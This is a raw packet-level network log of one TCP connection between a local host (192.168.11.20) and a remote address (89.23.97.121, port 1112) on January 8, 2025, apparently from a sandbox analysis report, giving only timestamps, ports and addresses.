Jan 8, 2025 11:24:35.568995953 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.569084883 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.569093943 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.569166899 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.569328070 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.569410086 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.570223093 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.570233107 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.570493937 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.570765972 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.571613073 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.571904898 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.571912050 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.572873116 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.573163986 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.573447943 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.573712111 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.574598074 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.574608088 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.574846983 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.575002909 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.575170994 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.575340986 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.575506926 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.839488029 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.839498997 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.839767933 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.839889050 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.839950085 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.840286970 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.840814114 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.840823889 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.841075897 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.841609001 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.841690063 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.842170954 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.842180014 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.842701912 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.843015909 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.843255043 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.843507051 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.843601942 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.843873978 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.844074965 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.844316959 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.844532967 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.844897032 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.845285892 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.845504045 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.845560074 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.845674038 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.845789909 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.845807076 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.845993042 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.846021891 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.846139908 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.846585989 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.846875906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.847098112 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.847412109 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.847640991 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.847884893 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.848155975 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.848401070 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.848908901 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.849261045 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.849268913 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.849772930 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.850502014 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.850509882 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.850997925 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.851075888 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:35.851296902 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.851469994 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.851638079 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.851804018 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:35.851973057 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.116012096 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.116292000 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.116580963 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.116590977 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.117103100 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.117114067 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.117495060 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.117968082 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.117978096 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.120213032 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.120229959 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.120493889 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.120783091 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.120790958 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121180058 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121186972 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121512890 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121805906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121814966 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121822119 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121826887 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.121834040 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.122082949 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.122090101 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.122328997 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.122340918 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.122380972 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.122584105 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.122736931 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.122884989 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.122994900 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.123078108 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.123298883 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.123532057 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.123836040 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.123975992 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.124131918 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.124635935 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.124644041 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.125051022 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.125195980 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.125408888 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.125926018 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128117085 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128125906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128453970 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128463030 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128525019 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.128737926 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.129076958 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.129214048 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.129367113 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.129540920 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.129698992 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.393702030 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.393712044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.393985987 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.394221067 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.394228935 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.394234896 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.394887924 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.394896984 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.395076036 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.395287037 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.395849943 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.396081924 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.396461010 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.396753073 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.396981001 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.397227049 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.397792101 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.397800922 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.397806883 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.398011923 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.398324966 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.398649931 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.399305105 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.399506092 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.399637938 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.399805069 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.399914026 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.399969101 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.400134087 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.400301933 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.400579929 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.400595903 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.400852919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.401107073 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.401384115 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.401467085 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.401710987 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.401981115 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.402282953 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.402996063 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.403003931 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.403009892 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.403112888 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.403706074 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.403712988 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.404179096 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.404783964 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.405031919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.405280113 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.405524969 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.405905008 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.406042099 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.406209946 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.406409025 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.406573057 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.670059919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.670267105 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.670555115 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.670752048 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.671011925 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.671284914 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.671544075 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.671756983 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.672512054 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.672736883 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.673012018 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.673021078 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.673307896 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.673962116 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.674293995 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.674457073 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.674467087 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.675050974 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.675344944 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.675354958 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.675483942 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.676071882 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.676367998 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.676369905 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.676482916 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.676512957 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.676681042 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.676848888 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.676851988 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.677015066 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.677094936 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.677397966 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678052902 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678330898 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678338051 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678755999 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678848028 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.678958893 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.679219007 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.679491997 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.680025101 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.680033922 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.680198908 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.680759907 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.680943012 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.681390047 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.681782961 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.682030916 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.682311058 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.682477951 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.682643890 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.682786942 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.682955980 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.946868896 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.946981907 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.947258949 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.947478056 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.947839022 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.948045015 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.948276043 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.948534966 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.948847055 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.948854923 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.950715065 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.951255083 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.951262951 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.951472998 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.951725960 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.951735020 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952085018 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952092886 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952346087 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952646017 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952652931 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.952903986 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.953069925 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.953114986 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.953123093 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.953232050 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.953402996 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.953572989 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.953577995 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.953686953 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.953944921 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.953953981 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.954790115 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.954797983 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.955013990 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.955327988 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.955595016 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.955877066 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.956105947 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.956423044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.957082987 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.957195044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.957719088 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.958139896 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.958148003 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.958391905 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:36.958631039 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.958785057 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.958947897 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.959100008 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:36.959264040 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.223536968 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.223764896 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.224029064 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.224327087 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.224615097 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.224623919 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.224901915 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.225191116 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.225199938 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.225657940 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.225667953 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.225922108 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.226181984 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.226557970 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.226926088 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.227365971 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.227375031 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.227617979 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.227624893 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.228037119 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.228332996 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.228342056 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.228672028 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.228957891 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.229460001 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.229468107 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.229711056 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.229882956 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.230021000 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.230051041 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.230191946 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.230386972 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.230447054 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.230962992 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.230971098 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.231223106 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.231501102 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.232137918 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.232146025 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.232271910 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.232549906 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.232799053 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.233063936 CET	1112	49748	89.23.97.121	192.168.11.20
